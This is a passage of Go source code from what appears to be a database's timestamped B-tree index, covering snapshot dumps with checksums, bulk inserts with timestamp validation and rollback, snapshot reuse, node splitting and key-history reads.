{\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(MetaVersion, Version)\n\tmetadata.PutInt(MetaMaxNodeSize, t.maxNodeSize)\n\n\tappendableOpts := multiapp.DefaultOptions().\n\t\tWithReadOnly(false).\n\t\tWithRetryableSync(false).\n\t\tWithFileSize(t.fileSize).\n\t\tWithFileMode(t.fileMode).\n\t\tWithWriteBufferSize(t.flushBufferSize).\n\t\tWithMetadata(t.cLog.Metadata())\n\n\tappendableOpts.WithFileExt(\"n\")\n\tnLogPath := filepath.Join(t.path, snapFolder(nodesFolderPrefix, snap.Ts()))\n\tnLog, err := multiapp.Open(nLogPath, appendableOpts)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tnLog.Close()\n\t}()\n\n\tappendableOpts.WithFileExt(\"ri\")\n\tcLogPath := filepath.Join(t.path, snapFolder(commitFolderPrefix, snap.Ts()))\n\n\t_, err = os.Stat(cLogPath)\n\tif err == nil {\n\t\treturn fmt.Errorf(\"%w: while dumping index to '%s'\", ErrTargetPathAlreadyExists, cLogPath)\n\t}\n\n\tcLog, err := multiapp.Open(cLogPath, appendableOpts)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tcLog.Close()\n\t}()\n\n\terr = t.fullDumpTo(snap, nLog, cLog, progressOutput)\n\tif err == nil {\n\t\ttsFile := snapFolder(timestampFile, snap.Ts())\n\t\tif err := writeTsFile(t.path, tsFile, snap.Ts()); err != nil {\n\t\t\tt.logger.Errorf(\"%s: unable to write ts file at path %s\", err, t.path)\n\t\t}\n\t}\n\treturn err\n}\n\nfunc (t *TBtree) fullDumpTo(snapshot *Snapshot, nLog, cLog appendable.Appendable, progressOutput writeProgressOutputFunc) error {\n\twopts := &WriteOpts{\n\t\tOnlyMutated:    false,\n\t\tBaseNLogOffset: 0,\n\t\tBaseHLogOffset: 0,\n\t\treportProgress: progressOutput,\n\t}\n\n\t_, _, wN, _, err := snapshot.WriteTo(&appendableWriter{nLog}, nil, wopts)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = nLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = nLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// history log is not dumped but to ensure it's fully synced\n\terr = t.hLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thLogSize, err := t.hLog.Size()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trootSize, err := snapshot.root.size()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// initial and final sizes are set to the same value so to avoid calculating digests of everything\n\t// it's safe as node and history log files are already synced\n\tcLogEntry := &cLogEntry{\n\t\tinitialNLogSize: wN,\n\t\tfinalNLogSize:   wN,\n\t\trootNodeSize:    rootSize,\n\n\t\tinitialHLogSize: hLogSize,\n\t\tfinalHLogSize:   hLogSize,\n\t}\n\n\tcLogEntry.nLogChecksum, err = appendable.Checksum(nLog, cLogEntry.initialNLogSize, cLogEntry.finalNLogSize-cLogEntry.initialNLogSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcLogEntry.hLogChecksum, err = appendable.Checksum(t.hLog, cLogEntry.initialHLogSize, cLogEntry.finalHLogSize-cLogEntry.initialHLogSize)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, _, err = cLog.Append(cLogEntry.serialize())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = cLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = cLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (t *TBtree) Close() error {\n\tt.logger.Infof(\"closing index '%s' {ts=%d}...\", t.path, t.root.ts())\n\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif len(t.snapshots) > 0 {\n\t\treturn ErrSnapshotsNotClosed\n\t}\n\n\tt.closed = true\n\n\tif t.root.tsMutated() {\n\t\tif err := t.writeTsFile(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tmerrors := multierr.NewMultiErr()\n\n\t_, _, err := t.flushTree(0, true, false, \"close\")\n\tmerrors.Append(err)\n\n\terr = t.nLog.Close()\n\tmerrors.Append(err)\n\n\terr = t.hLog.Close()\n\tmerrors.Append(err)\n\n\terr = t.cLog.Close()\n\tmerrors.Append(err)\n\n\terr = merrors.Reduce()\n\tif err != nil {\n\t\treturn t.wrapNwarn(\"closing index '%s' {ts=%d} returned: %v\", t.path, t.root.ts(), err)\n\t}\n\n\tt.logger.Infof(\"index '%s' {ts=%d} successfully closed\", t.path, t.root.ts())\n\treturn nil\n}\n\nfunc (t *TBtree) IncreaseTs(ts uint64) error {\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\troot, err := t.root.setTs(ts)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tt.root = root\n\n\tt.insertionCountSinceFlush++\n\tt.insertionCountSinceSync++\n\tt.insertionCountSinceCleanup++\n\n\tif t.insertionCountSinceFlush >= t.flushThld {\n\t\t_, _, err := t.flushTree(t.cleanupPercentage, false, false, \"increaseTs\")\n\t\treturn err\n\t}\n\treturn nil\n}\n\ntype KVT struct {\n\tK []byte\n\tV []byte\n\tT uint64\n}\n\nfunc (t *TBtree) lock() {\n\tt.rwmutex.Lock()\n}\n\nfunc (t *TBtree) unlock() {\n\tslowDown := t.compacting && t.delayDuringCompaction > 0\n\n\tt.rwmutex.Unlock()\n\n\tif slowDown {\n\t\ttime.Sleep(t.delayDuringCompaction)\n\t}\n}\n\nfunc (t *TBtree) Insert(key []byte, value []byte) error {\n\tt.lock()\n\tdefer t.unlock()\n\n\treturn t.bulkInsert([]*KVT{{K: key, V: value}})\n}\n\n// BulkInsert inserts multiple entries atomically.\n// It is possible to specify a logical timestamp for each entry.\n// Timestamps with zero will be associated with the current time plus one.\n// The specified timestamp must be greater than the root's current timestamp.\n// Timestamps must be increased by one for each additional entry for a key.\nfunc (t *TBtree) BulkInsert(kvts []*KVT) error {\n\tt.lock()\n\tdefer t.unlock()\n\n\treturn t.bulkInsert(kvts)\n}\n\nfunc estimateSize(kvts []*KVT) int {\n\tsize := 0\n\tfor _, kv := range kvts {\n\t\tsize += len(kv.K) + len(kv.V) + 8\n\t}\n\treturn size\n}\n\nfunc (t *TBtree) bulkInsert(kvts []*KVT) error {\n\tif t.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tif len(kvts) == 0 {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tentriesSize := estimateSize(kvts)\n\tif t.bufferedDataSize > 0 && t.bufferedDataSize+entriesSize > t.maxBufferedDataSize {\n\t\t_, _, err := t.flushTree(t.cleanupPercentage, false, false, \"bulkInsert\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tt.bufferedDataSize += entriesSize\n\n\tcurrTs := t.root.ts()\n\n\t// newTs will hold the greatest time, the minimun value will be currTs + 1\n\tvar newTs uint64\n\n\t// validated immutable copy of input kv pairs\n\timmutableKVTs := make([]*KVT, len(kvts))\n\n\tfor i, kvt := range kvts {\n\t\tif kvt == nil || len(kvt.K) == 0 || len(kvt.V) == 0 {\n\t\t\treturn ErrIllegalArguments\n\t\t}\n\n\t\tif len(kvt.K) > t.maxKeySize {\n\t\t\treturn ErrorMaxKeySizeExceeded\n\t\t}\n\n\t\tif len(kvt.V) > t.maxValueSize {\n\t\t\treturn ErrorMaxValueSizeExceeded\n\t\t}\n\n\t\tk := make([]byte, len(kvt.K))\n\t\tcopy(k, kvt.K)\n\n\t\tv := make([]byte, len(kvt.V))\n\t\tcopy(v, kvt.V)\n\n\t\tt := kvt.T\n\n\t\tif t == 0 {\n\t\t\t// zero-valued timestamps are associated with current time plus one\n\t\t\tt = currTs + 1\n\t\t} else if kvt.T <= currTs { // insertion with a timestamp older or equal to the current timestamp should not be allowed\n\t\t\treturn fmt.Errorf(\"%w: specific timestamp is older than root's current timestamp\", ErrIllegalArguments)\n\t\t}\n\n\t\timmutableKVTs[i] = &KVT{\n\t\t\tK: k,\n\t\t\tV: v,\n\t\t\tT: t,\n\t\t}\n\n\t\tif t > newTs {\n\t\t\tnewTs = t\n\t\t}\n\t}\n\n\tnodes, depth, err := t.root.insert(immutableKVTs)\n\tif err != nil {\n\t\t// INVARIANT: if !node.mutated() then for every node 'n' in the subtree with node as root !n.mutated() also holds\n\t\t// if t.root is not mutated it means no change was made on any node of the tree. Thus no rollback is needed\n\n\t\tif t.root.mutated() {\n\t\t\t// changes may need to be rolled back\n\t\t\t// the most recent snapshot becomes the root again or a fresh start if no snapshots are stored\n\t\t\tif t.lastSnapRoot == nil {\n\t\t\t\tt.root = &leafNode{t: t, mut: true}\n\t\t\t} else {\n\t\t\t\tt.root = t.lastSnapRoot\n\t\t\t}\n\t\t}\n\n\t\treturn err\n\t}\n\n\tfor len(nodes) > 1 {\n\t\tnewRoot := &innerNode{\n\t\t\tt:     t,\n\t\t\tnodes: nodes,\n\t\t\t_ts:   newTs,\n\t\t\tmut:   true,\n\t\t}\n\n\t\tdepth++\n\n\t\tnodes, err = newRoot.split()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tt.root = nodes[0]\n\n\tmetricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth))\n\n\tt.insertionCountSinceFlush += len(immutableKVTs)\n\tt.insertionCountSinceSync += len(immutableKVTs)\n\tt.insertionCountSinceCleanup += len(immutableKVTs)\n\n\tif t.insertionCountSinceFlush >= t.flushThld {\n\t\t_, _, err := t.flushTree(t.cleanupPercentage, false, false, \"bulkInsert\")\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (t *TBtree) Ts() uint64 {\n\tt.rwmutex.RLock()\n\tdefer t.rwmutex.RUnlock()\n\n\treturn t.root.ts()\n}\n\nfunc (t *TBtree) SyncSnapshot() (*Snapshot, error) {\n\tt.rwmutex.RLock()\n\n\tif t.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\treturn &Snapshot{\n\t\tid:      math.MaxUint64,\n\t\tt:       t,\n\t\tts:      t.root.ts(),\n\t\troot:    t.root,\n\t\treaders: make(map[int]io.Closer),\n\t\t_buf:    make([]byte, t.maxNodeSize),\n\t}, nil\n}\n\nfunc (t *TBtree) Snapshot() (*Snapshot, error) {\n\treturn t.SnapshotMustIncludeTs(0)\n}\n\nfunc (t *TBtree) SnapshotMustIncludeTs(ts uint64) (*Snapshot, error) {\n\treturn t.SnapshotMustIncludeTsWithRenewalPeriod(ts, t.renewSnapRootAfter)\n}\n\n// SnapshotMustIncludeTsWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse).\n// Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough.\n// If ts is 0, any snapshot not older than renewalPeriod may be used.\n// If renewalPeriod is 0, renewal period is not taken into consideration\nfunc (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(ts uint64, renewalPeriod time.Duration) (*Snapshot, error) {\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tif t.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tif ts > t.root.ts() {\n\t\treturn nil, fmt.Errorf(\"%w: ts is greater than current ts\", ErrIllegalArguments)\n\t}\n\n\tif len(t.snapshots) == t.maxActiveSnapshots {\n\t\treturn nil, ErrorToManyActiveSnapshots\n\t}\n\n\t// the tbtree will be flushed if the current root is mutated, the data on disk is not synchronized,\n\t// and no snapshot on disk can be re-used.\n\tif t.root.mutated() {\n\t\t// it means the current root is not stored on disk\n\n\t\tvar snapshotRenewalNeeded bool\n\n\t\tif t.lastSnapRoot == nil {\n\t\t\tsnapshotRenewalNeeded = true\n\t\t} else if t.lastSnapRoot.ts() < t.root.ts() {\n\t\t\tsnapshotRenewalNeeded = t.lastSnapRoot.ts() < ts ||\n\t\t\t\t(renewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= renewalPeriod)\n\t\t}\n\n\t\tif snapshotRenewalNeeded {\n\t\t\t// a new snapshot is dumped on disk including current root\n\t\t\t_, _, err := t.flushTree(t.cleanupPercentage, false, false, \"snapshotSince\")\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\t// !t.root.mutated() hold as this point\n\t\t}\n\t}\n\n\tif !t.root.mutated() {\n\t\t// either if the root was not updated or if it was dumped as part of a snapshot renewal\n\t\tt.lastSnapRoot = t.root\n\t\tt.lastSnapRootAt = time.Now()\n\t}\n\n\tt.maxSnapshotID++\n\n\tsnapshot := t.newSnapshot(t.maxSnapshotID, t.lastSnapRoot)\n\n\tt.snapshots[snapshot.id] = snapshot\n\n\treturn snapshot, nil\n}\n\nfunc (t *TBtree) newSnapshot(snapshotID uint64, root node) *Snapshot {\n\treturn &Snapshot{\n\t\tt:       t,\n\t\tid:      snapshotID,\n\t\tts:      root.ts() + 1,\n\t\troot:    root,\n\t\treaders: make(map[int]io.Closer),\n\t\t_buf:    make([]byte, t.maxNodeSize),\n\t}\n}\n\nfunc (t *TBtree) snapshotClosed(snapshot *Snapshot) error {\n\tif snapshot.id == math.MaxUint64 {\n\t\tt.rwmutex.RUnlock()\n\t\treturn nil\n\t}\n\n\tt.rwmutex.Lock()\n\tdefer t.rwmutex.Unlock()\n\n\tdelete(t.snapshots, snapshot.id)\n\n\treturn nil\n}\n\nfunc (n *innerNode) insert(kvts []*KVT) (nodes []node, depth int, err error) {\n\tif n.mutated() {\n\t\treturn n.updateOnInsert(kvts)\n\t}\n\n\tnewNode := &innerNode{\n\t\tt:       n.t,\n\t\tnodes:   make([]node, len(n.nodes)),\n\t\t_ts:     n._ts,\n\t\t_minOff: n._minOff,\n\t\tmut:     true,\n\t}\n\n\tcopy(newNode.nodes, n.nodes)\n\n\treturn newNode.updateOnInsert(kvts)\n}\n\nfunc (n *innerNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) {\n\t// group kvs by child at which they will be inserted\n\tkvtsPerChild := make(map[int][]*KVT)\n\n\tfor _, kvt := range kvts {\n\t\tchildIndex := n.indexOf(kvt.K)\n\t\tkvtsPerChild[childIndex] = append(kvtsPerChild[childIndex], kvt)\n\t}\n\n\tvar wg sync.WaitGroup\n\twg.Add(len(kvtsPerChild))\n\n\tnodesPerChild := make(map[int][]node)\n\tvar nodesMutex sync.Mutex\n\n\tfor childIndex, childKVTs := range kvtsPerChild {\n\t\t// insert kvs at every child simultaneously\n\t\tgo func(childIndex int, childKVTs []*KVT) {\n\t\t\tdefer wg.Done()\n\n\t\t\tchild := n.nodes[childIndex]\n\n\t\t\tnewChildren, childrenDepth, childrenErr := child.insert(childKVTs)\n\n\t\t\tnodesMutex.Lock()\n\t\t\tdefer nodesMutex.Unlock()\n\n\t\t\tif childrenErr != nil {\n\t\t\t\t// if any of its children fail to insert, insertion fails\n\t\t\t\terr = childrenErr\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tnodesPerChild[childIndex] = newChildren\n\t\t\tif childrenDepth > depth {\n\t\t\t\tdepth = childrenDepth\n\t\t\t}\n\n\t\t\tfor _, newChild := range newChildren {\n\t\t\t\tif newChild.ts() > n._ts {\n\t\t\t\t\tn._ts = newChild.ts()\n\t\t\t\t}\n\t\t\t}\n\n\t\t}(childIndex, childKVTs)\n\t}\n\n\t// wait for all the insertions to be done\n\twg.Wait()\n\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\t// count the number of children after insertion\n\tnsSize := len(n.nodes)\n\n\tfor i := range n.nodes {\n\t\tcs, ok := nodesPerChild[i]\n\t\tif ok {\n\t\t\tnsSize += len(cs) - 1\n\t\t}\n\t}\n\n\tns := make([]node, nsSize)\n\tnsi := 0\n\n\tfor i, n := range n.nodes {\n\t\tcs, ok := nodesPerChild[i]\n\t\tif ok {\n\t\t\tcopy(ns[nsi:], cs)\n\t\t\tnsi += len(cs)\n\t\t} else {\n\t\t\tns[nsi] = n\n\t\t\tnsi++\n\t\t}\n\t}\n\n\tn.nodes = ns\n\n\tnodes, err = n.split()\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\treturn nodes, depth + 1, nil\n}\n\nfunc (n *innerNode) get(key []byte) (value []byte, ts uint64, hc uint64, err error) {\n\treturn n.nodes[n.indexOf(key)].get(key)\n}\n\nfunc (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\treturn n.nodes[n.indexOf(key)].getBetween(key, initialTs, finalTs)\n}\n\nfunc (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) {\n\treturn n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit)\n}\n\nfunc (n *innerNode) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) {\n\tmetricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes)))\n\n\tif descOrder {\n\t\tfor i := offset; i < len(n.nodes); i++ {\n\t\t\tj := len(n.nodes) - 1 - i\n\t\t\tminKey := n.nodes[j].minKey()\n\n\t\t\tif len(neqKey) > 0 && bytes.Compare(minKey, neqKey) >= 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif bytes.Compare(minKey, seekKey) < 1 {\n\t\t\t\treturn n.nodes[j].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder)\n\t\t\t}\n\t\t}\n\n\t\treturn nil, nil, 0, ErrKeyNotFound\n\t}\n\n\tif offset > len(n.nodes)-1 {\n\t\treturn nil, nil, 0, ErrKeyNotFound\n\t}\n\n\tfor i := offset; i < len(n.nodes)-1; i++ {\n\t\tnextMinKey := n.nodes[i+1].minKey()\n\n\t\tif bytes.Compare(seekKey, nextMinKey) >= 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(neqKey) > 0 && bytes.Compare(nextMinKey, neqKey) < 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tpath, leafNode, off, err := n.nodes[i].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder)\n\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\tcontinue\n\t\t}\n\n\t\treturn path, leafNode, off, err\n\t}\n\n\treturn n.nodes[len(n.nodes)-1].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder)\n}\n\nfunc (n *innerNode) ts() uint64 {\n\treturn n._ts\n}\n\nfunc (n *innerNode) setTs(ts uint64) (node, error) {\n\tif n._ts >= ts {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif n.mut {\n\t\tn._ts = ts\n\t\treturn n, nil\n\t}\n\n\tnewNode := &innerNode{\n\t\tt:     n.t,\n\t\tnodes: make([]node, len(n.nodes)),\n\t\t_ts:   ts,\n\t\tmut:   true,\n\t}\n\n\tcopy(newNode.nodes, n.nodes)\n\n\treturn newNode, nil\n}\n\n// size calculates the amount of bytes required to serialize an inner node\n// note: requiredNodeSize must be revised if this function is modified\nfunc (n *innerNode) size() (int, error) {\n\tsize := 1 // Node type\n\n\tsize += 2 // Child count\n\n\tfor _, c := range n.nodes {\n\t\tsize += 2               // minKey length\n\t\tsize += len(c.minKey()) // minKey\n\t\tsize += 8               // ts\n\t\tsize += 8               // offset\n\t\tsize += 8               // min offset\n\t}\n\n\treturn size, nil\n}\n\nfunc (l *innerNode) tsMutated() bool {\n\tfor _, nd := range l.nodes {\n\t\tif nd.ts() >= l.ts() {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (n *innerNode) mutated() bool {\n\treturn n.mut\n}\n\nfunc (n *innerNode) offset() int64 {\n\treturn n.off\n}\n\nfunc (n *innerNode) minOffset() int64 {\n\treturn n._minOff\n}\n\nfunc (n *innerNode) minKey() []byte {\n\tif len(n.nodes) == 0 {\n\t\treturn nil\n\t}\n\treturn n.nodes[0].minKey()\n}\n\n// indexOf returns the first child at which key is equal or greater than its minKey\nfunc (n *innerNode) indexOf(key []byte) int {\n\tmetricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes)))\n\n\tleft := 0\n\tright := len(n.nodes) - 1\n\n\tvar middle int\n\tvar diff int\n\n\tfor left < right {\n\t\tmiddle = left + (right-left)/2 + 1\n\n\t\tminKey := n.nodes[middle].minKey()\n\n\t\tdiff = bytes.Compare(minKey, key)\n\n\t\tif diff == 0 {\n\t\t\treturn middle\n\t\t} else if diff < 0 {\n\t\t\t// minKey < key\n\t\t\tleft = middle\n\t\t} else {\n\t\t\t// minKey > key\n\t\t\tright = middle - 1\n\t\t}\n\t}\n\n\treturn left\n}\n\nfunc (n *innerNode) split() ([]node, error) {\n\tsize, err := n.size()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif size <= n.t.maxNodeSize {\n\t\tmetricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes)))\n\t\treturn []node{n}, nil\n\t}\n\n\tsplitIndex := splitIndex(len(n.nodes))\n\n\tnewNode := &innerNode{\n\t\tt:     n.t,\n\t\tnodes: n.nodes[splitIndex:],\n\t\tmut:   true,\n\t}\n\tnewNode.updateTs()\n\n\tn.nodes = n.nodes[:splitIndex]\n\tn.updateTs()\n\n\tns1, err := n.split()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tns2, err := newNode.split()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn append(ns1, ns2...), nil\n}\n\nfunc (n *innerNode) updateTs() {\n\tn._ts = 0\n\n\tfor i := 0; i < len(n.nodes); i++ {\n\t\tif n.ts() < n.nodes[i].ts() {\n\t\t\tn._ts = n.nodes[i].ts()\n\t\t}\n\t}\n}\n\n////////////////////////////////////////////////////////////\n\nfunc (r *nodeRef) insert(kvts []*KVT) (nodes []node, depth int, err error) {\n\tn, err := r.t.nodeAt(r.off, true)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\treturn n.insert(kvts)\n}\n\nfunc (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error) {\n\tn, err := r.t.nodeAt(r.off, true)\n\tif err != nil {\n\t\treturn nil, 0, 0, err\n\t}\n\treturn n.get(key)\n}\n\nfunc (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\tn, err := r.t.nodeAt(r.off, true)\n\tif err != nil {\n\t\treturn nil, 0, 0, err\n\t}\n\treturn n.getBetween(key, initialTs, finalTs)\n}\n\nfunc (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) {\n\tn, err := r.t.nodeAt(r.off, true)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\treturn n.history(key, offset, descOrder, limit)\n}\n\nfunc (r *nodeRef) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) {\n\tn, err := r.t.nodeAt(r.off, true)\n\tif err != nil {\n\t\treturn nil, nil, 0, err\n\t}\n\treturn n.findLeafNode(seekKey, path, offset, neqKey, descOrder)\n}\n\nfunc (r *nodeRef) minKey() []byte {\n\treturn r._minKey\n}\n\nfunc (r *nodeRef) ts() uint64 {\n\treturn r._ts\n}\n\nfunc (r *nodeRef) minOffset() int64 {\n\treturn r._minOff\n}\n\nfunc (r *nodeRef) setTs(ts uint64) (node, error) {\n\tn, err := r.t.nodeAt(r.off, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn n.setTs(ts)\n}\n\nfunc (r *nodeRef) size() (int, error) {\n\tn, err := r.t.nodeAt(r.off, false)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn n.size()\n}\n\nfunc (r *nodeRef) tsMutated() bool {\n\treturn false\n}\n\nfunc (r *nodeRef) mutated() bool {\n\treturn false\n}\n\nfunc (r *nodeRef) offset() int64 {\n\treturn r.off\n}\n\n////////////////////////////////////////////////////////////\n\nfunc (l *leafNode) insert(kvts []*KVT) (nodes []node, depth int, err error) {\n\tif l.mutated() {\n\t\treturn l.updateOnInsert(kvts)\n\t}\n\n\tnewLeaf := &leafNode{\n\t\tt:      l.t,\n\t\tvalues: make([]*leafValue, len(l.values)),\n\t\t_ts:    l._ts,\n\t\tmut:    true,\n\t}\n\n\tfor i, lv := range l.values {\n\t\ttimedValues := make([]TimedValue, len(lv.timedValues))\n\t\tcopy(timedValues, lv.timedValues)\n\n\t\tnewLeaf.values[i] = &leafValue{\n\t\t\tkey:         lv.key,\n\t\t\ttimedValues: timedValues,\n\t\t\thOff:        lv.hOff,\n\t\t\thCount:      lv.hCount,\n\t\t}\n\t}\n\n\treturn newLeaf.updateOnInsert(kvts)\n}\n\nfunc (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) {\n\tfor _, kvt := range kvts {\n\t\ti, found := l.indexOf(kvt.K)\n\n\t\tif found {\n\t\t\tlv := l.values[i]\n\n\t\t\tif kvt.T < lv.timedValue().Ts {\n\t\t\t\t// The validation can be done upfront at bulkInsert,\n\t\t\t\t// but postponing it could reduce resource requirements during the earlier stages,\n\t\t\t\t// resulting in higher performance due to concurrency.\n\t\t\t\treturn nil, 0, fmt.Errorf(\"%w: attempt to insert a value without an older timestamp\", ErrIllegalArguments)\n\t\t\t}\n\n\t\t\tif kvt.T > lv.timedValue().Ts {\n\t\t\t\tlv.timedValues = append([]TimedValue{{Value: kvt.V, Ts: kvt.T}}, lv.timedValues...)\n\t\t\t}\n\t\t} else {\n\t\t\tvalues := make([]*leafValue, len(l.values)+1)\n\n\t\t\tcopy(values, l.values[:i])\n\n\t\t\tvalues[i] = &leafValue{\n\t\t\t\tkey:         kvt.K,\n\t\t\t\ttimedValues: []TimedValue{{Value: kvt.V, Ts: kvt.T}},\n\t\t\t}\n\n\t\t\tcopy(values[i+1:], l.values[i:])\n\n\t\t\tl.values = values\n\t\t}\n\n\t\tif l._ts < kvt.T {\n\t\t\tl._ts = kvt.T\n\t\t}\n\t}\n\n\tnodes, err = l.split()\n\n\treturn nodes, 1, err\n}\n\nfunc (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err error) {\n\ti, found := l.indexOf(key)\n\n\tif !found {\n\t\treturn nil, 0, 0, ErrKeyNotFound\n\t}\n\n\tleafValue := l.values[i]\n\ttimedValue := leafValue.timedValue()\n\n\treturn timedValue.Value, timedValue.Ts, leafValue.historyCount(), nil\n}\n\nfunc (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) {\n\ti, found := l.indexOf(key)\n\n\tif !found {\n\t\treturn nil, 0, 0, ErrKeyNotFound\n\t}\n\n\tleafValue := l.values[i]\n\n\treturn leafValue.lastUpdateBetween(l.t.hLog, initialTs, finalTs)\n}\n\nfunc (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]TimedValue, uint64, error) {\n\ti, found := l.indexOf(key)\n\n\tif !found {\n\t\treturn nil, 0, ErrKeyNotFound\n\t}\n\n\tleafValue := l.values[i]\n\n\treturn leafValue.history(key, offset, desc, limit, l.t.hLog)\n}\n\nfunc (lv *leafValue) history(key []byte, offset uint64, desc bool, limit int, hLog appendable.Appendable) ([]TimedValue, uint64, error) {\n\thCount := lv.historyCount()\n\n\tif offset == hCount {\n\t\treturn nil, 0, ErrNoMoreEntries\n\t}\n\n\tif offset > hCount {\n\t\treturn nil, 0, ErrOffsetOutOfRange\n\t}\n\n\ttimedValuesLen := limit\n\tif uint64(limit) > hCount-offset {\n\t\ttimedValuesLen = int(hCount - offset)\n\t}\n\n\ttimedValues := make([]TimedValue, timedValuesLen)\n\n\tinitAt := offset\n\ttssOff := 0\n\n\tif !desc {\n\t\tinitAt = hCount - offset - uint64(timedValuesLen)\n\t}\n\n\tif initAt < uint64(len(lv.timedValues)) {\n\t\tfor i := int(initAt); i < len(lv.timedValues) && tssOff < timedValuesLen; i++ {\n\t\t\tif desc {\n\t\t\t\ttimedValues[tssOff] = lv.timedValues[i]\n\t\t\t} else {\n\t\t\t\ttimedValues[timedValuesLen-1-tssOff] = lv.timedValues[i]\n\t\t\t}\n\n\t\t\ttssOff++\n\t\t}\n\t}\n\n\thOff := lv.hOff\n\n\tti := uint64(len(lv.timedValues))\n\n\tfor tssOff < timedValuesLen {\n\t\tr := appendable.NewReaderFrom(hLog, hOff, DefaultMaxNodeSize)\n\n\t\thc, err := r.ReadUint32()\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\n\t\tfor i := 0; i < int(hc) && tssOff < timedValuesLen; i++ {\n\t\t\tvalueLen, err := r.ReadUint16()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\n\t\t\tvalue := make([]byte, valueLen)\n\t\t\t_, err = r.Read(value)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\n\t\t\tts, err := r.ReadUint64()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\n\t\t\tif ti < initAt {\n\t\t\t\tti++\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif desc {\n\t\t\t\ttimedValues[tssOff] = TimedValue{Value: value, Ts: ts}\n\t\t\t} else {\n\t\t\t\ttimedValues[timedValuesLen-1-tssOff] = TimedValue{Value: value, Ts: ts}\n\t\t\t}\n\n\t\t\ttssOff++\n\t\t}\n\n\t\tprevOff, err := r.ReadUint64()\n\t\tif err != nil 